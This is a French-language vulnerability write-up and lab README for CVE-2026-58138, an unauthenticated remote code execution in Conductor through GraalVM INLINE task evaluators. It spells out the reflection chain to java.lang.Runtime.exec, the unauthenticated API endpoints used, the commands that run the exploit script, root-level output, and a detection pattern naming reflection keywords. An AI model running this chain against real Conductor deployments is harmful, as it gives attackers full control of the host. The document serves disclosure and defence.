CVE-2026-58138 — Conductor (3.21.21..<3.30.2) RCE sans authentification via évaluateur GraalVM INLINE (HostAccess.ALL). Lab + PoC, vérifié e2e (root).
Conductor (OSS / Orkes)
3.21.21… avant3.30.2évalue le JavaScript fourni par l'utilisateur dans les tâchesINLINE(etLAMBDA/DO_WHILE/SWITCH) avec un contexte GraalVM construit avec accès hôte complet (HostAccess.ALL). Le script peut accéder àjava.lang.Runtimeet exécuter des commandes système. L'API communautaire n'a aucune authentification par défaut, donc soumettre un workflow avec une telle tâche est une exécution de code à distance non authentifiée.
| CVE | CVE-2026-58138 |
| Avis | vulncheck — RCE non authentifiée via les évaluateurs de scripts GraalVM dans Orkes Conductor |
| Affecté | Conductor 3.21.21 … avant 3.30.2 |
| Corrigé | 3.30.2 (commits 87a7d96, c691e35) |
| Classe | CWE-94 (Injection de code) — Bac à sable polyglotte GraalVM non appliqué |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Auth | Aucune (l'API communautaire est non authentifiée par défaut) |
| Statut | CONFIRMÉ — reproduit en tant que root sur conductoross/conductor:3.22.3 |
Note de version (lisez ceci). La configuration de l'évaluateur varie dans la plage affectée : les versions jusqu'à ~
3.29.x(ce lab utilise3.22.3) construisent le contexte avecallowHostAccess(HostAccess.ALL)— la configuration sans bac à sable que décrit la CVE, et celle que ce PoC exploite directement. La ligne3.30.0/3.30.1a ajouté une liste de blocage partielledenyAccess(...)(réflexion bloquée) ; le correctif complet (allowHostClassLoading(false)+ durcissement du moteur) n'arrive que dans3.30.2. Ce PoC cible la configuration simpleHostAccess.ALL; il ne prétend pas contourner la liste de blocage de la3.30.1.
core/.../events/ScriptEvaluator.java (≤ 3.29.x / 3.22.3) :
return Context.newBuilder("js")
.allowHostAccess(HostAccess.ALL) // full host interop -> no sandbox
.build();
HostAccess.ALL permet au script d'appeler toute méthode/champ sur les objets hôtes Java. La
tâche INLINE lie son entrée comme $, un véritable objet Java, donc le script peut enchaîner :
$.getClass().getClass() → java.lang.Class → Class.forName("java.lang.Runtime")
→ Runtime.getRuntime().exec(...). L'évaluateur Python est équivalent
(Context.newBuilder("python").allowAllAccess(true)).
INLINE porte l'expression malveillante
(POST /api/metadata/workflow, sans authentification).POST /api/workflow/{name}, sans authentification).Runtime.exec réflexif exécute la commande
et le PoC renvoie sa sortie standard comme résultat de la tâche.docker compose -f lab/docker-compose.yml up -d # conductoross/conductor:3.22.3 (in range)
# wait ~60s for the all-in-one server to boot
python3 exploit.py http://127.0.0.1:8080 -c "id; hostname"
Observé :
[*] registering workflow with a malicious INLINE (javascript) task ... (no auth)
[*] started workflow id=...; reading INLINE task output ...
[+] UNAUTHENTICATED RCE CONFIRMED - command output from the Conductor host:
uid=0(root) gid=0(root) groups=0(root)
vbox
Linux 6.18.12+kali-amd64
uid=0(root) est l'utilisateur du processus Conductor ; la sortie est l'état réel de id/uname —
exécution authentique, pas un écho. exploit.py utilise uniquement la bibliothèque standard Python.
Toute personne pouvant atteindre l'API Conductor peut exécuter des commandes système arbitraires (ici en tant que root) sur l'hôte orchestrateur — compromission totale du moteur de workflow, de sa persistance/files d'attente et de tous les systèmes que ses workflows et informations d'identification stockées touchent.
Signaler les définitions de workflow dont les tâches INLINE/LAMBDA/DO_WHILE/SWITCH
contiennent des chaînes expression faisant référence à getClass, forName, Runtime,
exec, ProcessBuilder, ou la réflexion java., et les processus Conductor qui génèrent
des shells.
Voir ANALYSIS.md pour la chaîne de réflexion, la configuration de l'évaluateur
selon les versions, et le correctif.